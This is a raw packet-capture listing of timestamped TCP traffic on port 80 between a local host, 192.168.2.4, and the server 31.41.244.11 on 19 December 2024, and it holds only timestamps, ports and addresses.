Dec 19, 2024 06:09:43.859487057 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.859538078 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.860306025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.860358000 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.860404968 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.861248016 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.861355066 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.861412048 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.862350941 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.862453938 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.862507105 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.863445044 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.863497972 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.863557100 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.863605976 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.864518881 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.864573002 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.864634037 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.864694118 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.865609884 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.865737915 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.865786076 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.866691113 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.866807938 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.866856098 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.867796898 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.867846012 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.867904902 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.867954969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.868935108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.868985891 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.868988991 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.869030952 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.870012999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.870047092 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.870101929 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.871052027 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.871181011 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.871243954 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.872143030 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.872257948 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.872272015 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.872320890 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.873224974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.873341084 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.873388052 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.874342918 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.874485016 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.874535084 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.875426054 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.875474930 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.875540018 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.875585079 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.876600981 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.876648903 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.876708984 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.876755953 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.877621889 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.877671003 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.877744913 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.877789974 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.878696918 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.878799915 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.878846884 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.879775047 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.879842043 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.879901886 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.879951000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.880862951 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.880909920 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.880970001 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.881016016 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.882226944 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.882262945 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.882281065 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.882309914 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.883088112 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.883213997 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.883268118 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.884150028 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.884287119 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.884344101 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.885226011 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.885277033 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.885291100 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.885340929 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.886327028 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.886383057 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.886426926 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.886487007 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.887425900 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.887551069 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.887600899 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.888509035 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.888676882 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.888730049 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.889579058 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.889631033 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.889692068 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.889744043 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.890669107 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.890732050 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.890773058 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.890882969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.891772032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.891825914 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.891880035 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.027370930 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.027431011 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.027524948 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.027988911 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.028038979 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.028043985 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.028091908 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.028990030 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.029037952 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.029087067 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.029129982 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.030071974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.030421972 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.030471087 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.030503988 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.030550957 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.031505108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.031567097 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.031627893 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.031678915 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.032644987 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.032743931 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.032767057 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.032792091 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.033704996 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.033782005 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.033857107 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.033910036 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.034781933 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.034849882 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.034898996 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.034950972 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.035855055 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.035922050 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.035983086 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.036031008 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.036964893 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.037019014 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.037077904 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.037126064 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.038033009 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.038084030 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.038136005 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.038183928 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.039124966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.039184093 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.039246082 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.039293051 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.042526960 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.042563915 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.042645931 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.042753935 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.042788982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.042797089 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.042829990 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.042876005 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.042911053 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.042916059 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.042948961 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.043998957 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.044177055 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.044231892 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.045011997 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.045068026 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.045147896 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.045192957 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.046272039 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.046307087 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.046339035 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.046365023 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.047282934 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.047336102 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.047408104 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.048268080 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.048455954 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.048532009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.049500942 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.049536943 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.049582958 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.049626112 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.050506115 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.050678015 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.050755024 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.051661968 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.051696062 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.051763058 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.052666903 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.052721024 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.052905083 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.052958012 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.053874969 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.053910017 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.053922892 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.053955078 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.054883957 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.055059910 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.055110931 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.055891991 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.055943012 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.056061029 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.056107044 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.057075024 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.057122946 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.057240009 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.057286024 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.058057070 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.058228970 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.058279037 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.059236050 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.059272051 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.059288979 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.059324980 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.060399055 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.060434103 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.060448885 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.060480118 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.061331034 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.061381102 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.061485052 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.061532974 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.062608957 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.062643051 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.062690020 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.063602924 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.063649893 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.063771009 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.063821077 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.064575911 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.064623117 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.064730883 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.064780951 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.065824986 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.065872908 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.066005945 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.066050053 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.066720009 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.066768885 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.066829920 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.066885948 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.067452908 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.067572117 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.067625046 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.068536997 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.068669081 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.068717957 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.069638968 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.069688082 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.069747925 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.069839954 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.073196888 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.073230028 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.073266029 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.073278904 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.073313951 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.073350906 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.073384047 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.073396921 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.073435068 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.073517084 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.073561907 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.074369907 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.074536085 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.074587107 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.075668097 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.075716972 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.075853109 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.075895071 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.076647997 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.076682091 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.076694965 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.076728106 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.077697992 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.077744961 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.077852964 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.077898979 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.078841925 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.078876019 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.078926086 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.079449892 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.079497099 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.079576969 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.079624891 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.080526114 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.080573082 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.080701113 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.080748081 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.081624031 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.081670046 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.081743956 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.081788063 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.082705975 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.082828045 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.082878113 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.083853006 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.083889008 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.083901882 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.083941936 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.219712973 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.219782114 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.219852924 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.219897985 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.220351934 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.220398903 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.220519066 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.220560074 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.221323967 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.221373081 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.221472025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.221596003 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.222472906 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.222821951 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.222876072 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.222954988 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.223005056 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.223983049 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.224020004 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.224070072 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.225003958 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.225059986 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.225137949 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.225184917 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.226241112 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.226281881 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.226330042 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.227346897 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.227385044 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.227451086 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.228358984 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.228394032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.228420019 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.228445053 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.229444027 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.229481936 CET	80	49838	31.41.244.11	192.168.2.4
